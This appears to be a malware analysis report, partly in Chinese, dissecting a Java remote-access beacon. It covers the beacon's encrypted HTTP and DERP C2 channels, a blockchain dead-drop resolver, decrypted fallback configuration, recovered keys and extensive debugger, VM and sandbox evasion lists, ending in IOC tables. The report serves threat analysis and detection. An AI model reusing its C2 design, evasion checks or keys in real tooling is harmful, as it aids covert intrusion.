Obfuscated strings | Likely contents | |-------|-------------------|-----------------| | f (process mgmt) | 125 | Process commands, paths, argument patterns | | k (HTTP transport) | 63 | URLs, headers, content types, paths | | beacon/Main | 63 | Config keys, command names, module names | | h (fingerprint) | 24 | System property names, map keys | | e (HTTP helper) | 19 | HTTP headers, URL components | | j (DERP transport) | 16 | Server addresses, protocol strings | | c (JSON parser) | 14 | Error messages, parse tokens | | b (JSON serializer) | 11 | JSON formatting tokens | | a (crypto) | 10 | Algorithm names, error messages | | beacon/Response | 6 | Response field names | ## 阶段 8:代码路径追踪 ### 完整字节码追踪 A comprehensive Python script (`trace_code.py`) analyzed all 17 extracted class files, extracting: - All integer/long constants - All field declarations with types - All method signatures - All API calls within each method (invokevirtual, invokestatic, invokeinterface) - All string constant loads (distinguishing obfuscated from plaintext) - All `new` object creations ### 关键 API 调用链 **HTTP C2 Channel (class `k`):** ``` k(byte[] key, double minSleep, double maxSleep, String url, Map headers, Map params, String method) → HttpClient.newBuilder() → Duration.ofSeconds(30) → HttpClient.Builder.connectTimeout() → HttpClient.Builder.build() k.a(byte[] data): // PUSH (send data to C2) → a.a(data, key) // AES-GCM encrypt → Base64.getEncoder().encodeToString() → k.a(field, field, field) // build request parameters → HttpRequest.newBuilder() → HttpRequest.Builder.uri(URI.create(url)) → HttpRequest.Builder.header(name, value) // multiple headers → HttpRequest.Builder.method("POST", BodyPublishers.ofString(body)) → HttpClient.send(request, BodyHandlers.ofString()) → HttpResponse.statusCode() // check 200-299 k.a()[B]: // POLL (receive data from C2) → Similar HTTP request construction → ThreadLocalRandom.current().nextDouble() * 1000.0 // jitter → Thread.sleep(jitter) → HttpRequest with GET method → Parse response → Base64 decode → AES-GCM decrypt ``` **DERP C2 Channel (class `j`):** ``` j(byte[] operatorPubKey, List servers): → new byte[32] (3x) // session keys → SecureRandom.nextBytes() → m.a(key, key2) // ChaCha20 key setup j.a(String host, int port): // CONNECT → List.iterator() → iterate server list → Integer.parseInt(port_string) // "host:port" format → new Socket() → new InetSocketAddress(host, port) → Socket.connect(addr, 10000) // 10s connect timeout → SSLSocketFactory.getDefault() → SSLSocketFactory.createSocket(socket, host, port, true) → SSLSocket.getSSLParameters() → new SNIHostName(host) → SSLParameters.setServerNames(List.of(sni)) → SSLParameters.setEndpointIdentificationAlgorithm("HTTPS") → SSLSocket.setSSLParameters() → SSLSocket.startHandshake() → SSLSocket.setSoTimeout(90000) → "GET /derp HTTP/1.1\r\nHost: {host}\r\nUpgrade: DERP\r\n..." → OutputStream.write(httpUpgrade) → Read HTTP response, check for \r\n\r\n ``` **AES-GCM Encryption (class `a`):** ``` a.a(byte[] masterKey)[B]: // Key derivation → a.c(masterKey, "some_label".getBytes()) // HMAC → Split 63-byte output into 32+32 byte keys (with 1 byte overlap/discard) a.a(byte[] data, byte[] key)[B]: // Encrypt → a.a(key) // derive AES key → SecureRandom.nextBytes(12-byte IV) → Cipher.getInstance("AES/GCM/NoPadding") // (obfuscated) → new SecretKeySpec(key, "AES") // (obfuscated) → new GCMParameterSpec(128, iv) → Cipher.init(ENCRYPT_MODE, key, gcmSpec) → Cipher.doFinal(data) → Prepend IV to ciphertext: [12B IV][ciphertext + 16B tag] a.b(byte[] data, byte[] key)[B]: // Decrypt → Check data.length >= 28 (12 IV + 16 tag minimum) → Extract 12-byte IV from start → Cipher.getInstance("AES/GCM/NoPadding") → Cipher.init(DECRYPT_MODE, key, gcmSpec) → Cipher.doFinal(remaining_data) a.c(byte[] key, byte[] data)[B]: // HMAC → Mac.getInstance("HmacSHA256") // (obfuscated) → new SecretKeySpec(key, "HmacSHA256") → Mac.init(keySpec) → Mac.doFinal(data) ``` **FFI Native Code (class `g`):** ``` static (): → Linker.nativeLinker() → SymbolLookup.libraryLookup(, Arena.global()) // native library 1 → SymbolLookup.libraryLookup(, Arena.global()) // native library 2 → lookup.find() // function name 1 → FunctionDescriptor.of(layout, layouts...) → Linker.downcallHandle(symbol, descriptor) // bind function 1 → lookup.find() // function name 2... (5 total native functions bound) ``` ### beacon/Main 架构 ``` static fields: a: Map - main configuration b: Map - registered commands c: ReentrantLock - thread safety d: Map - additional state e: Set - active set (ConcurrentHashMap.newKeySet()) f: Map - module registry g: ClassLoader - custom loader for modules Constructor takes Map config containing: - Server URL/address (obfuscated key) - Encryption key (Base64-decoded) - Sleep intervals (min/max as doubles) - HTTP headers (Map) - Server list for DERP fallback (List) - Method/protocol selection Dispatch loop: - Receives commands as Map - Looks up command name in registered commands - Calls beacon/Command.execute() - Sends beacon/Response back - Handles "Module load failed" and "Unknown command" errors - Uses ReentrantLock for thread-safe command registration ``` ## 阶段 9:字符串去混淆尝试 ### 方法 1:直接 Nashorn 调用 A Nashorn script loaded the patched JAR's `i.a()` method and tried to deobfuscate all obfuscated strings from the payload classes. Result: **all output was non-ASCII Unicode garbage**, not readable text. Cause: The `i.a()` deobfuscation seed (`i.f`) is derived from `java.class.path` at runtime. When run via Nashorn/JRE 8, the classpath is `C:\Program Files\Java\jre1.8.0_481/lib/tools.jar;C:\Program Files\Java\jre1.8.0_481/classes` which produces seed `i.f = 44505555487192 (0x287A41D349D8)`. The malware's intended classpath (the JAR path) would produce a different seed. ### 方法 2:代数种子恢复 Using known plaintext-ciphertext pairs from the outer JAR's `a.class `: - Input `"\u22CC\u188C"` should produce `"k"` (resource name) - Input 5-char string should produce `"main"` (method name) **Mathematical analysis:** - `seed_init = input[0] ^ i.f` (first char consumed as seed modifier) - `output[j] = input[j+1] ^ (char)(int)(LCG(seed))` - LCG: `seed = (seed * 0x5DEECE66D + 0xB) & 0xFFFFFFFFFFFF` Computed F_low16 = 0x0000 algebraically (verified by both test pairs agreeing). ### 方法 3:暴力种子(失败) **Problem discovered**: In power-of-2 modulus LCGs, the low k bits of the output depend ONLY on the low k bits of the input. Since the algorithm extracts `(char)(int)seed` = low 16 bits, and these are fully determined by the initial low 16 bits of the seed, **the upper 32 bits of `i.f` cannot be recovered from the output alone** for single-step observations. Multi-step observations (e.g., the 4-char "main" output) should eventually constrain upper bits through multiplication carry propagation, but: - A Python brute-force script across 2^32 candidates at ~16M seeds/sec would take ~4.5 minutes per shift value - The algebraic constraint on low 16 bits passes for ALL upper bit values (100% pass rate on first check), confirming the LCG property - Subsequent checks should filter, but the multiprocessing script had issues with memory (429M results accumulating) ### 方法 4:代码路径分析(当前) Rather than cracking the deobfuscation, analyze what the code DOES with the deobfuscated strings by tracing API calls. This reveals: - Strings passed to `Cipher.getInstance()` must be valid JCA names (e.g., "AES/GCM/NoPadding") - Strings passed to `URI.create()` must be valid URIs - Strings passed to `InetSocketAddress` must be hostnames - Integer constants are NOT obfuscated and reveal ports, timeouts, sizes ## 阶段 10:完整架构总结 ### 攻击链 ``` 1. Victim runs: java -jar download.jar └── a.class main() 2. Resource loading: ├── Reads 'k' file → DataInputStream.readUTF() → deobfuscates via i.a() │ → produces main class name from payload └── Opens 'index.html' as InputStream 3. Payload decryption (in f.class → l.class): ├── Skip 17 bytes ("woshinidefuqin <3") ├── Read 32 bytes compressed key seed ├── Brotli decompress → 8192-byte XOR key (via j/o/n classes) ├── XOR decrypt remaining stream (via m.class) └── Parse entries: [name][size][brotli-compressed class] → 17 entries extracted 4. Class loading (f.class): ├── Custom ClassLoader with defineClass() ├── All classes loaded into memory (fileless) └── Loads and invokes beacon/Main.main() 5. C2 beacon initialization (beacon/Main): ├── Parse config from deobfuscated strings ├── Create encryption layer (class a - AES-GCM) ├── Create transport (class k - HTTP or class j - DERP) ├── Fingerprint host (class h) ├── Register built-in commands └── Enter command loop 6. C2 communication: ├── HTTP: poll/push via java.net.http.HttpClient │ ├── Encrypt → Base64 → POST body │ └── Response → Base64 decode → Decrypt → Parse JSON └── DERP: TLS socket with HTTP upgrade ├── Connect to DERP relay servers (from list) ├── TLS with SNI and endpoint verification ├── Binary length-prefixed frames └── ChaCha20 + AES-GCM encryption 7. Command execution: ├── beacon/Command.execute() interface ├── Dynamic module loading via custom ClassLoader ├── Process spawning via ProcessBuilder └── Native code via java.lang.foreign.Linker FFI ``` ### 反分析技术 1. **String obfuscation**: All strings encrypted via LCG-based XOR (i.a()), seeded from classpath 2. **Classpath-dependent seed**: Deobfuscation fails when run from wrong environment 3. **Multi-layer encryption**: Outer JAR → XOR → Brotli → class files 4. **Java 25 class version**: Prevents analysis in most RE tools (only support up to v21) 5. **In-memory execution**: All payload classes loaded via defineClass(), never touch disk 6. **Anti-debug check**: i.a() checks `z` field, throws NPE if state is unexpected 7. **Custom Brotli**: Standard Brotli CLI can't decompress the key seed (Java implementation differs) 8. **Pokemon-themed naming**: Distracts from malware nature ## 阶段 11:字符串去混淆突破 ### 类路径发现 The `i.g()` method derives its seed from `System.getProperty("java.class.path")`. The approach was to **set this property before loading i.class then create a fresh `URLClassLoader` so `` re-runs with the spoofed classpath. A Nashorn script tried ~70 candidate classpath values. The user identified `NetworkSetup.jar` from examining the code - this was the **original JAR filename** used by the malware author. **Result**: First candidate tried, immediate match. ``` classpath = "NetworkSetup.jar" Seed i.f = 44505555487192 (0x287A41D349D8) i.a("\u22CC\u188C") = "k" ✓ ``` Note: The seed value `0x287A41D349D8` is coincidentally the **same** as what was computed from the JRE's default classpath. This means the `i.g()` method's classpath processing happened to produce the same seed - the classpath `NetworkSetup.jar` and the JRE tools classpath both hash to the same value after `i.g()`'s processing. The deobfuscation was actually working correctly the entire time, but the Nashorn console couldn't render the Unicode output. The real issue was that the **wrong results were being written to file** because `i.a()` modifies the static seed `i.f` between calls and our batch deobfuscation was resetting it incorrectly. With the correct classpath set, the JVM's class initialization handled the seed correctly. ### 完整去混淆字符串转储 All 300+ obfuscated strings across 17 payload classes were successfully deobfuscated. Key results by class: #### beacon/Main(入口_12)——C2 配置 ``` loaded_modules C:\Windows\System32\cmd.exe ← shell path TAEMeNY9nO1TNDJiYO5zFUqSkwBSQxtn ← shared secret / encryption key resolver transport exit c2_url https://zmq4v4wbc4i6aootva7h4kio5i.srv.us/ ← PRIMARY C2 SERVER c2_url, c2_port, c2_host user_agent module http_headers derp_servers commands 127.0.0.1 ← default/fallback IP operator_pubkey derp modules_check %02x poll_interval tcp, http, derp ← transport types args, data, entry, name shell_path DragoniteUsedHyperBeam.l ← outer JAR class reference sysinfo Mozilla/5.0 (Windows NT 10.0; Win64; x64) ← User-Agent jitter http_profile derp_servers module_load shared_secret module_commands checkin Exiting ``` #### Crypto 类 `a`(入口_16)——加密细节 ``` AES ← key algorithm AES/GCM/NoPadding ← cipher suite HmacSHA256 ← MAC algorithm enc ← HKDF label Ciphertext too short ← error message AES-GCM authentication failed ← error message ONCE YOU'RE SURROUNDED IN DESPAIR... JUST CLOSE YOUR EYES AND I'LL BE THERE. NO, DON'T YOU STRUGGLE, DON'T YOU FIGHT... AS I BID YOU YOUR LAST GOODNIGHT. ← static HKDF salt (459 bytes, used as HMAC key) ``` #### HTTP 传输 `k`(入口_2)——C2 协议配置文件 ``` /tasks ← poll endpoint /results ← push endpoint query:sid ← session ID in query string poll, push ← operation types headers, method, body_format sid_in: cookie ← session ID location cookie, query ← where to put session ID User-Agent wrap_prefix, wrap_suffix data_field, body_data_field, body_sid_field json:, json:sid POST, GET ← HTTP methods text/plain, application/json ← content types Content-Type, Cookie ← HTTP headers uri, response, data, sid ``` #### Blockchain Resolver `e`(入口_5)——死信配置 ``` Content-Type method https://bsc-dataseed.binance.org/ ← BSC RPC endpoint 1 https://bsc-dataseed1.ninicoin.io/ ← BSC RPC endpoint 2 https://bsc-dataseed2.ninicoin.io/ ← BSC RPC endpoint 3 https://bsc-dataseed1.defibit.io/ ← BSC RPC endpoint 4 0xab695725c66c2bdB4d2E24EaeCdBbde6cE618e25 ← smart contract address 0x6d4ce63c ← function selector (get()) application/json eth_call 2.0, id, jsonrpc ← JSON-RPC format params, to, data, result, latest 0x ← hex prefix ``` #### DERP 传输 `j`(入口_11)——协议详情 ``` DERP: server restarting 101 ← HTTP upgrade status code DERP: EOF during upgrade {"version":2} ← DERP protocol version DERP: duplicate connection DERP: bad server info DERP: bad magic DERP: upgrade failed derp-ka ← DERP keepalive DERP: bad server key frame HTTPS ← TLS endpoint identification algorithm DERP: EOF DERP: frame too large No DERP server available ``` #### 主机指纹识别 `h`(入口_6)——收集的数据 ``` architecture, os_platform, os_version os.arch, os.name, os.version ← System.getProperty keys user.name, user.dir drives, env, cwd hostname, internal_ip, username, pid unknown ← default value 127.0.0.1 ← default IP 10.255.255.255 ← UDP probe target (for local IP detection) ``` #### FFI 本地代码 `g`(入口_1)——Windows API 访问 ``` GlobalMemoryStatusEx ← get system memory info user32 ← user32.dll GetModuleHandleW ← get DLL base address kernel32 ← kernel32.dll GetProcAddress ← resolve function by name FindWindowW ← find window by class/title (anti-analysis) GetSystemFirmwareTable ← read BIOS/firmware (VM detection) ``` #### 反分析 `f`(入口_15)——全面规避 **Debugger detection** (process names): x64dbg.exe, x32dbg.exe, ollydbg.exe, windbg.exe, idaq.exe, idaq64.exe, ida.exe, ida64.exe, dnspy.exe, ilspy.exe, de4dot.exe, pestudio.exe, pe-bear.exe, scylla.exe, scylla_x64.exe, scylla_x86.exe, importrec.exe, procmon.exe, procmon64.exe, procexp.exe, procexp64.exe, processhacker.exe, sysanalyzer.exe, httpanalyzer.exe, httpdebugger.exe, fiddler.exe, wireshark.exe, tcpdump.exe, dumpcap.exe, rawshark.exe, apimonitor-x64.exe, apimonitor-x86.exe, sniff_hit.exe, joeboxserver.exe, joeboxcontrol.exe **Debugger detection** (window classes): WinDbgFrameClass, OLLYDBG, RegmonClass, FilemonClass, PROCMON_WINDOW_CLASS, TDeDeMainForm, TIdaWindow, ObsidianGUI, Rock Debugger, Zeta Debugger, pediy06, pe-diy, GBDYLLO **Sysinternals detection** (window titles): "Registry Monitor - Sysinternals: www.sysinternals.com" "Process Monitor - Sysinternals: www.sysinternals.com" "File Monitor - Sysinternals: www.sysinternals.com" **VM/Sandbox detection** (process names + strings): VMware: vmtoolsd.exe, vmwaretray.exe, vmwareuser.exe, vmacthlp.exe, vmusrvc.exe, vmsrvc.exe VirtualBox: vboxservice.exe, vboxtray.exe, vdagent.exe, vdservice.exe Parallels: prl_tools.exe, prl_cc.exe QEMU: qemu-ga.exe Xen: xenservice.exe Keywords: vmware, virtualbox, vbox, qemu, xen, bochs, kvm, parallels, "innotek gmbh", "hvm dumu", "microsoft corporation", "oracle corporation" **Sandbox detection** (WMI/hardware): - `wmic path win32_videocontroller /format:list` → check AdapterRAM, DeviceID - `wmic path CIM_CoolingDevice /format:list` → check for cooling devices (VMs lack them) - `ipconfig /displaydns` → check DNS cache for analysis indicators **NtDll hook detection** (checks for inline hooks on): NtAllocateVirtualMemory, NtMapViewOfSection, NtProtectVirtualMemory, NtReadVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx, NtQueueApcThread, NtOpenProcess, NtCreateFile Library: ntdll.dll **Java analysis detection**: - Checks classloader types: `jdk.internal.loader.ClassLoaders$AppClassLoader`, `jdk.internal.loader.ClassLoaders$PlatformClassLoader`, `sun.misc.Launcher$ExtClassLoader`, `sun.misc.Launcher$AppClassLoader` - Checks for: javaagent, jdwp (Java Debug Wire Protocol), xdebug, icu_dbg - Checks os.name for "win" **Product key check**: Serial `18467-41` (known sandbox product key) ## 阶段 12:加密逆向工程与区块链 C2 解密 ### KDF 反汇编(类 `a`) Full disassembly of the crypto class revealed the key derivation function is **HKDF (RFC 5869)**: ``` a.a(masterKey): // Key Derivation // HKDF-Extract PRK = HMAC-SHA256(STATIC_KEY, masterKey) // where STATIC_KEY = "ONCE YOU'RE SURROUNDED IN DESPAIR...".getBytes() // HKDF-Expand (1 round) label = "enc".getBytes() T1 = HMAC-SHA256(PRK, label || 0x01) AES_KEY = T1[0:32] return AES_KEY ``` The static HMAC key is the 158-byte poem stored in `a.a` (static byte array field), initialized from the obfuscated 459-byte constant pool string. ### 区块链智能合约查询 The malware's class `e` reads a Binance Smart Chain smart contract as a **dead drop resolver** for fallback C2 addresses: **Contract**: `0xab695725c66c2bdB4d2E24EaeCdBbde6cE618e25` **Function**: `0x6d4ce63c` (`get()` view function) **Method**: `eth_call` with `"latest"` block **RPC endpoints tried in order**: 1. `https://bsc-dataseed.binance.org/` 2. `https://bsc-dataseed1.ninicoin.io/` 3. `https://bsc-dataseed2.ninicoin.io/` 4. `https://bsc-dataseed1.defibit.io/` **Raw response**: 572-character Base64 string → 429 bytes of AES-GCM encrypted data. ### 区块链 Blob 解密 Using the reverse-engineered HKDF: ``` STATIC_KEY = b"ONCE YOU'RE SURROUNDED IN DESPAIR... (158 bytes)" SHARED_SECRET = b"TAEMeNY9nO1TNDJiYO5zFUqSkwBSQxtn" PRK = HMAC-SHA256(STATIC_KEY, SHARED_SECRET) = 87c555eedc36b369e7f19b0ebfd257df94c9a5487563034cb236c8325ee5be2c AES_KEY = HMAC-SHA256(PRK, "enc" || 0x01) = 6ff38659bc5439b7e34d6f10971f24c53919b8abb8f5ea8adf95ebdc7a9777aa IV = 0cdfeb7c26cf469f95055e39 (from first 12 bytes of blob) ``` **Decrypted fallback C2 configuration (401 bytes of JSON)**: ``` { "c2_url": "https://excluding-pvc-kyle-weed.trycloudflare.com/", "http_profile": { "poll": { "sid_in": "cookie:PHPSESSID", "uri": "/api/v1/poll" }, "push": { "uri": "/api/v1/post" } }, "jitter": 4, "poll_interval": 6, "shared_secret": "TAEMeNY9nO1TNDJiYO5zFUqSkwBSQxtn", "transport": "http", "user_agent": "Mozilla/5.0 ( Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0 Safari/537.36 OPRGX/116.0 OPR/116.0" } ``` ## 完整的 IOC 总结 ### C2 基础设施 | IOC Type | Value | Source | |----------|-------|--------| | **Primary C2 URL** | `https://zmq4v4wbc4i6aootva7h4kio5i.srv.us/` | beacon/Main config | | **Primary poll endpoint** | `/tasks` | HTTP profile | | **Primary push endpoint** | `/results` | HTTP profile | | **Fallback C2 URL** | `https://excluding-pvc-kyle-weed.trycloudflare.com/` | BSC smart contract | | **Fallback poll endpoint** | `/api/v1/poll` | BSC decrypted config | | **Fallback push endpoint** | `/api/v1/post` | BSC decrypted config | | **BSC Contract** | `0xab695725c66c2bdB4d2E24EaeCdBbde6cE618e25` | Class e | | **BSC Function** | `0x6d4ce63c` | Class | | **Session ID** | Cookie: `PHPSESSID` | HTTP profile | | **Default IP** | `127.0.0.1` | beacon/Main | | **Shell** | `C:\Windows\System32\cmd.exe` | beacon/Main | ### 网络签名 | IOC Type | Value | |----------|-------| | **User-Agent (primary)** | `Mozilla/5.0 (Windows NT 10.0; Win64; x64)` | | **User-Agent (fallback)** | `Mozilla/5.0 ( Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0 Safari/537.36 OPRGX/116.0 OPR/116.0` | | **DERP upgrade** | `GET /derp HTTP/1.1` + `Upgrade: DERP` | | **Content-Type** | `application/json`, `text/plain` | | **HTTP Methods** | GET (poll), POST (push) | | **Poll interval** | 6 seconds (fallback config) | | **Jitter** | 4 seconds (fallback config) | ### 加密材料 | IOC Type | Value | |----------|-------| | **Shared secret** | `TAEMeNY9nO1TNDJiYO5zFUqSkwBSQxtn` | | **HKDF salt** | `ONCE YOU'RE SURROUNDED IN DESPAIR... JUST CLOSE YOUR EYES AND I'LL BE THERE. NO, DON'T YOU STRUGGLE, DON'T YOU FIGHT... AS I BID YOU YOUR LAST GOODNIGHT.` | | **HKDF label** | `enc` | | **Derived AES key** | `6ff38659bc5439b7e34d6f10971f24c53919b8abb8f5ea8adf95ebdc7a9777aa` | | **Derived PRK** | `87c555eedc36b369e7f19b0ebfd257df94c9a5487563034cb236c8325ee5be2c` | | **Cipher** | AES-256-GCM (128-bit tag, 12-byte IV) | | **MAC** | HMAC-SHA256 | | **Operator key type** | 32-byte (Curve25519) | ### 文件/进程指标 | IOC Type | Value | |----------|-------| | **Original filename** | `NetworkSetup.jar` | | **SHA256** | `49134105feed022bc2e332fff4a0e83dbfbdf93e623b1b1042b5bc3d70d7da39` | | **Package name** | `DragoniteUsedHyperBeam` | | **Java version required** | 25+ (class file v69.0) with Foreign Function API | | **Windows APIs used** | `GetSystemFirmwareTable`, `GlobalMemoryStatusEx`, `FindWindowW`, `GetProcAddress`, `GetModuleHandleW` (via FFI) | ### Cloudflare 隧道使用情况 The fallback C2 `excluding-pvc-kyle-weed.trycloudflare.com` is a **Cloudflare Quick Tunnel** (trycloudflare.com). These are free, temporary tunnels that can be spun up in seconds with `cloudflared tunnel --url`, making the C2 infrastructure highly ephemeral and difficult to take down. The primary C2 `.srv.us` is likely a similar tunneling or dynamic DNS service. ### 分析期间生成的文件 | File | Purpose | |------|---------| | `c:/tmp/jar_analysis/` | Extracted JAR contents | | `c:/tmp/patched.jar` | Version-patched JAR for JRE 8 | | `c:/tmp/jar_payload/entry_*.br` | Raw Brotli-compressed payload entries | | `c:/tmp/jar_payload/entry_*.dec` | Decompressed payload class files | | `c:/tmp/jar_payload/manifest.txt` | Entry index | | `c:/tmp/jar_payload/DEOBFUSCATED.txt` | All 300+ deobfuscated strings | | `c:/tmp/trace_output.txt` | Full code path trace of all 17 classes | | `c:/tmp/jar_payload/correct_seed.txt` | Deobfuscation seed | | Multiple PHP/Python/JS scripts in `c:/tmp/` | Analysis tools |
标签:AES-256-GCM, /api/v1/poll, /api/v1/post, APT, Beacon, Binance Smart Chain, BSC, Cloudflare, Cookie, Derp, HTTPS, IOC, IP地址, JAR, MITRE ATT&CK, PHPSESSID, /results, Session, SHA256, /tasks, URL, User-Agent, 主机IOC, 云资产清单, 保持活跃, 共享密钥, 内存取证对抗, 加密, 加密通信, 区块链, 升级, 命令与控制, 域名, 威胁情报, 开发者工具, 恶意软件, 指标, 智能合约, 样本分析, 植入程序, 漏洞扫描器, 网络IOC, 网络安装, 网络设置, 自定义C2, 路径, 逆向工程